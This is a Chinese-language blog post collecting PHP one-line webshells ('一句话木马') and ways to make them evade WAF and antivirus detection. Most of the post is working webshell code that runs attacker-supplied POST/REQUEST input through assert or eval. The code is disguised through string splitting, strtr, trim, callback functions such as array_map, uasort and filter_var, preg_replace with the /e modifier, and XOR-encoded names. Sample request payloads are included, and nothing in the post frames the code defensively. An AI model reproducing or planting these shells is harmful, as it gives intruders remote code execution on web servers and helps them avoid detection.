Loading

一句话木马免杀.md

一句话木马

php

方法

  1. 字符串变形:

    substr(string, start, length)

    <?php 
        $a = 'a'.'s'.'s'.'e'.'r'.'t';
        $a($_POST['x']);
    ?>
       
    <?php 
        $a = substr('1a',1).'s'.'s'.'e'.'r'.'t';
        $a($_POST['x']);
    ?>    
    

    strtr(string, from, to)

    <?php 
        $a = strtr('azxcvt','zxcv','ssert');
        $a($_POST['x']);
    ?>   
    

    substr_replace(string, replacement, start, length)

    <?php 
        $a = substr_replace("asxxx","sert",2);
        $a($_POST['x']);
    ?>  
    

    trim(string, charlist)

    <?php 
        $a = trim(' assert ');
        $a($_POST['x']);
    ?>
    
  2. 函数绕过

    ​ 函数可以把敏感关键词当做参数传递

    <?php 
        function sqlsec($a){
            $a($_POST['x']);
        }
    
        sqlsec(assert);
    ?>
    
  3. 回调函数

    回调函数⼤部分都无法绕过 WAF 了

    call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )

    <?php
        call_user_func('assert',$_POST['x']);
    ?>
    

    call_user_func_array ( callable $callback , array $param_arr )

    <?php
       call_user_func_array(assert,array($_POST['x']));
    ?>
    

    array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

    <?php
        array_filter(array($_POST['x']),'assert');
    ?>
        
     <?php
        $e = $_REQUEST['e'];
        $arr = array($_POST['pass'],);
        array_filter($arr, base64_decode($e));
    ?>
    

    array_map(myfunction,array1,array2,array3...)

    <?php
        $e = $_REQUEST['e'];
        $arr = array($_POST['pass'],);
        array_map(base64_decode($e), $arr);
    ?>
    

    array_walk(array,myfunction,parameter...)

    <?php
        function sqlsec($value,$key)
        {   
            $x = $key.$value;
            $x($_POST['x']);
        }
        $a=array("ass"=>"ert");
        array_walk($a,"sqlsec");
    ?>
        
    <?php 
      $e = $_REQUEST['e'];
      $arr = array($_POST['x'] => '|.*|e',);
        array_walk($arr, $e, '');
    ?>
    # payload: shell.php?e=preg_replace  相当于 preg_replace('|.*|e',$_POST['x'],'')
    # PHP 止中不止 preg_replace 函数可以执行 eval 的功能,还有下面几个类似的:
    # mb_ereg_replace ( string $pattern , string $replacement , string $string [, string $option = "msr" ] ) : string
    <?php 
        mb_ereg_replace('\d', $_REQUEST['x'], '1', 'e');
    ?>
    # mixed preg_filter ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
    <?php 
        preg_filter('|\d|e', $_REQUEST['x'], '2');
    ?>
     <?php 
        mb_eregi_replace('\d', $_REQUEST['x'], '1', 'e');
    ?>
    

    array_walk_recursive(array,myfunction,parameter...)

    <?php
        $e = $_REQUEST['e'];
        $arr = array($_POST['pass'] => '|.*|e',);
        array_walk_recursive($arr, $e, '');
    ?>
    

    array_reduce(array,myfunction,initial)

    array_reduce() 函数向用户自定义函数发送数组中的值,并返回一个字符串。

    <?php
        $e = $_REQUEST['e'];
        $arr = array(1);
        array_reduce($arr, $e, $_POST['x']);
    ?>
    # payload 
       e=assert&x=phpinfo();
    

    array_diff(array1,array2,array3...);

    array_diff() 函数返回两个数组的差集数组。该数组包括了所有在被比较的数组中,但是不在任何其他参数数组中的键值。在返回的数组中,键名保持不变。

    <?php
        $e = $_REQUEST['e'];
        $arr = array($_POST['x']);
        $arr2 = array(1);
        array_udiff($arr, $arr2, $e);
    ?>
        # payload e=assert&x=phpinfo();
    

    uasort(array,myfunction);

    uasort() 函数使用用户自定义的比较函数对数组排序,并保持索引关联(不为元素分配新的键)。如果成功则返回 TRUE,否则返回 FALSE。该函数主要用于对那些单元顺序很重要的结合数组进行排序。

    <?php
        $e = $_REQUEST['e'];
        $arr = array('test', $_REQUEST['x']);
        uasort($arr, base64_decode($e));
    ?>
    # payload e=YXNzZXJ0&x=phpinfo();
    <?php
       $arr = new ArrayObject(array('test', $_REQUEST['x']));
       $arr->uasort('assert');
    ?>
    

    uksort(array,myfunction);

    uksort() 函数通过用户自定义的比较函数对数组按键名进行排序。

    <?php
        $e = $_REQUEST['e'];
        $arr = array('test' => 1, $_REQUEST['x'] => 2);
        uksort($arr, $e);
    ?>
    # e=assert&x=phpinfo();	
    <?php
       $arr = new ArrayObject(array('test' => 1, $_REQUEST['x'] => 2));
       $arr->uksort('assert');
    ?>
    

    register_shutdown_function ( callable $callback [, mixed $... ] ) : void

    注册一个 callback ,它会在脚本执行完成或者 exit() 后被调用。

    <?php
        $e = $_REQUEST['e'];
        register_shutdown_function($e, $_REQUEST['x']);
    ?>
    

    register_tick_function ( callable $function [, mixed $arg [, mixed $... ]] ) : bool

    注册在调用记号时要执行的给定函数。

    <?php
        $e = $_REQUEST['e'];
        declare(ticks=1);
        register_tick_function ($e, $_REQUEST['x']);
    ?>
    

    filter_var(variable, filter, options)

    filter_var() 函数通过指定的过滤器过滤变量。

    <?php
        filter_var($_REQUEST['x'], FILTER_CALLBACK, array('options' => 'assert'));
    ?>
    

    filter_var_array(array, args)

    filter_var_array() 函数获取多项变量,并进行过滤。

    <?php
        filter_var_array(array('test' => $_REQUEST['x']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));
    ?>
    

    register_tick_function ( callable $function [, mixed $... ] ) : bool

    注册在调用记号时要执行的给定函数。

    <?php
    $e = $_REQUEST['e'];
    declare(ticks=1);
    register_tick_function ($e, $_REQUEST['x']);
    ?>
    
  4. 异或

    <?php 
        $a = ('!'^'@').'s'.'s'.'e'.'r'.'t';
        $a($_POST['x']);
    ?>
    

收集

​ 1. 异或

<?php
    # $a = _POST
    $a="~+d()"^"!{+{}";
	# $b = $_POST["a"]
	$b=${$a}["a"];
	# eval($_POST["a"]);
	eval("".$b);
?>
posted @ 2022-05-26 16:17  nsfoxer  阅读(79)  评论(0编辑  收藏  举报